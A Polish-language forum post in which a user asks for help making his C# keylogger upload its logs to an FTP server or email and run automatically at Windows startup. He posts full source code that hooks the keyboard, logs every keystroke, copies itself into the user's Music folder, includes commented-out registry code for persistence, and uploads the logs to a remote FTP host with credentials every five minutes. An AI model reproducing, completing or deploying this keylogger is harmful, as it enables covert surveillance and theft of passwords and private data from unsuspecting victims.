Keylogger w C# pomożecie?

mlody040

Użytkownik
Dołączył
Marzec 9, 2013
Posty
5
Witam, z lekką pomocą internetu napisałem Keyloggera w "Microsoft Visual Studio",
mój problem polega na tym że program nie chce wysyłać logów na mój serwer ftp
możecie mi jakoś pomóc z tym żeby mi wysyłało na email albo na ftp?
też nie wiem jak zrobić tak żeby program po włączeniu komputera automatycznie się włanczał
 

mlody040

Użytkownik
Dołączył
Marzec 9, 2013
Posty
5
Program.cs
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;

namespace WindowsFormsApplication3
{
static class Program
{
const int WH_KEYBOARD_LL = 13;
const int WH_KEYDOWN = 0x0100;
static LowLevelKeyboardProc _proc = HookCallback;
static IntPtr _hookID = IntPtr.Zero;

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool UnhookWindowsHookEx(IntPtr hhk);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern IntPtr GetModuleHandle(string lpModuleName);


delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);


static Thread SendData;
static Stopwatch Timer;
static bool SendingData = false;
static string LogPath;

/// <summary>
///
/// </summary>
static void Main()
{

string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.MyMusic),"Keylogger.exe");


if (!File.Exists(path))
{
File.Copy(Application.StartupPath, path, true);

// Wpis w rejestrze Windows, aby zawsze podczas staru Windows uruchamiał program
//RegistryKey key = Registry.CurrentUser.OpenSubKey(
// "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true
// );
//key.SetValue("WindowsFormsApplication3.exe", path);
}


_hookID = SetHook(_proc);


LogPath = GetFileName();


SendData = new Thread(new ThreadStart(SendDataToFTP));
SendData.Priority = ThreadPriority.Highest;
SendData.Name = "Log making";
SendData.Start();


Application.Run();


SendData.Abort();
UnhookWindowsHookEx(_hookID);
}

/// <summary>

/// </summary>
/// <returns>Zwraca nazwe pliku</returns>
private static string GetFileName()
{
return "Log_" + DateTime.Now.ToString().Replace(':', '-') + ".txt";
}

/// <summary>

/// </summary>
/// <param name="proc">Delegat do klawiatury</param>
/// <returns>Handle</returns>
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
}
}

/// <summary>

/// </summary>
static void SendDataToFTP()
{

Timer = new Stopwatch();
Timer.Start();


while (true)
{



if (Timer.Elapsed.Minutes > 5)
{

try
{

SendingData = true;


FtpWebRequest request = (FtpWebRequest)WebRequest.Create("ftp://192.168.0.14/" + LogPath);
request.KeepAlive = false;
request.Method = WebRequestMethods.Ftp.UploadFile;


request.Credentials = new NetworkCredential("login", "hasło");


FileStream stream = File.OpenRead(LogPath);
byte[] buffer = new byte[stream.Length];
stream.Read(buffer, 0, buffer.Length);


Stream requestStream = request.GetRequestStream();
requestStream.Write(buffer, 0, (int)stream.Length);
requestStream.Close();
stream.Close();


File.Delete(LogPath);
LogPath = GetFileName();
}
catch
{
}

SendingData = false;
Timer.Reset();
Timer.Start();
}
}
}

/// <summary>


/// </summary>
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{

if (nCode >= 0 && wParam == (IntPtr)WH_KEYDOWN && !SendingData)
{

int code = Marshal.ReadInt32(lParam);


StreamWriter file = new StreamWriter(LogPath, true);


string k = ((Keys)code).ToString();


switch((Keys)code)
{
case Keys.RShiftKey: file.Write(" RS "); break;
case Keys.LShiftKey: file.Write(" LS "); break;
case Keys.RControlKey: file.Write(" RC "); break;
case Keys.LControlKey: file.Write(" LC "); break;
case Keys.Enter: file.WriteLine(); break;
case Keys.Space: file.Write(' '); break;
case Keys.Tab: file.Write('\t'); break;


default: file.Write(k.Length > 1 ? ' ' + k + ' ' : k); break;
}


file.Close();
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}

}
}

AssemblyInfo.cs
using System.Reflection;
using System.Runtime.InteropServices;

// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("WindowsFormsApplication3")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("WindowsFormsApplication3")]
[assembly: AssemblyCopyright("")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]

// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]

// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("25b39827-aaa8-4aa2-bba5-29fb203c0bf7")]

// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
 
Ostatnia edycja:
Do góry Bottom